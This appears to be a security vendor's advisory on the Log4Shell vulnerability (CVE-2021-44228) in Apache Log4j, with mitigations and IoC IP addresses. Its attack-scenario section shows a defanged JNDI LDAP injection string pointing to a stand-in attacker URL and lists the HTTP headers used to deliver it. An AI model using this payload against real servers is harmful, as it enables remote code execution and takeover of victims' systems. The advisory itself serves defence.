Critical Zero-Day “Log4Shell” Vulnerability “CVE-2021-44228” Exploited in the Wild

On December 9, 2021, Apache revealed a severe Remote code execution vulnerability CVE-2021-44228 named “Log4Shell” in Apache Java-based log4J logging utility. Threat actors used the utility to execute arbitrary code and take complete control of systems.

Apache Log4j is an open-source Java-based utility widely used by cloud and enterprise software services for logging. Being used in many applications on various operating systems (like Windows, Linux, MAC, etc.) impacts all versions from 2.0-beta9 to 2.14.1. Threat actors have widely exploited Log4J to scan the internet-facing servers to identify vulnerable servers.

It is a high-profile security vulnerability with a severity score of 10, the max severity rating possible, and one of the most critical vulnerabilities ever due to its ease of exploitation and the number of affected enterprise applications and cloud services.

What is Log4Shell Vulnerability?

The Java Naming and Directory Interface (JNDI) used by Log4j to lookup supported services and protocols such as LDAP, DNS, RMI, NIS, NDS, CORBA, and IIOP allows for helpful information to be remotely retrieved. On a vulnerable Log4J system, the attacker who can control log messages or parameters can execute arbitrary code loaded from LDAP or supported services while message lookup substitution is enabled.

An unauthenticated, remote attacker could exploit it by sending a specially crafted JNDI injection in the simple HTTP request to a vulnerable log4j serve. Once the request is processed, log4j loads the JNDI resources from the server (i.e., LDAP) controlled by attackers that loaded payload could be malicious & include shell script or Java class file to the targeted system. Successful exploitation could lead to arbitrary code execution, and the attacker can take complete control of the compromised system.

The vulnerability was discovered on 24th Nov-21, first exploitation was observed on 1st Dec-21. After the initial fix patch, further other vulnerabilities, CVE-2021-45046 (remote code execution) & CVE-2021-45105 (denial-of-service) identified; are fixed in subsequent versions.

Log4Shell Exploit Explanation

In the standard scenario, HTTP requests would be logged by the log4j utility at the server for debugging or another purpose whenever log analysis is required.

 

In an attack scenario, the Log4Shell could be exploited by an unauthenticated, remote attacker with JNDI payload in a simple HTTP request on a server with vulnerable log4j.

JDNI lookup would look like as below, where JNDI will try to fetch the payload from attackers-URL that would compromise the targeted server.

 Attack scenario

1. Attacker sends crafted HTTP request with jndi LDAP string “${jndi[:]ldap[:]//attackers-url>/<payload>}” in user agent header to target server.
2. Targeting the server with vulnerable log4j logs and processing the JNDI LDAP string results in an LDAP query to the attacker’s malicious LDAP server.
3. Attacker’s LDAP server response with directory information with a malicious payload like java class or shellcode location.
4. Malicious payload like java class file or shellcode download is requested and further executed at the targeted system, which may lead to arbitrary code execution & full compromise of the victim system.

Attackers use various techniques in JNDI supported payloads like below using other protocols, encoding, obfuscation etc., to bypass the common detections by network security products.

Network traffic examples

1. In the below snapshot, the HTTP Get request contains a URL encoded JNDI LDAP with a base64 encoded payload.

2. In the User-Agent HTTP header, a simple JNDI LDAP string connects to a malicious URL.

3. Here  X-API-Version header contains obfuscation (bypass techniques) jndi Ldap string with base64 encoded payload

The crafted JNDI string can be sent via URL or some of many HTTP headers listed below:

• User-Agent
• Authorisation
• Cookie
• Accept-Language
• From
• X-API-Version
• X-Host
• Referer

Mitigations:

• Immediately update to the latest Apache Log4j version.
• Please refer to the Advisories
  • Quick Heal Advisory
  • Seqrite Advisory
• Update the Network security and endpoints with the latest definitions.

 

How does Quick Heal protect its customers?

Quick Heal has released Network & End Points rules to identify and block remote attacks exploiting the Log4Shell vulnerability. Also, a detailed Advisory had been shared along with mitigation updates to customers. Below is the Log4Shell detection snapshot in our product.

We are continuing to monitor the developments around this threat. We advise all our customers to patch their systems properly and keep the AV software updated with the latest VDB updates.

 

Indicator of Compromise (IoCs)

   IPs

• 111[.]28[.]189[.]51
• 5[.]157[.]38[.]50
• 175[.]6[.]210[.]66
• 185[.]128[.]41[.]50
• 195[.]54[.]160[.]149
• 221[.]226[.]159[.]22
• 185[.]220[.]100[.]244
• 5[.]183[.]209[.]217
• 171[.]25[.]193[.]25
• 81[.]17[.]18[.]58
• 46[.]232[.]251[.]191
• 104[.]244[.]72[.]115
• 109[.]70[.]100[.]34
• 185[.]38[.]175[.]132
• 185[.]170[.]114[.]25
• 45[.]153[.]160[.]129
• 89[.]234[.]157[.]254
• 5[.]2[.]72[.]124
• 192[.]42[.]116[.]16

 

Network Indicators 

 

Subject Matter Expert

Amruta Wagh

Shiv Mohan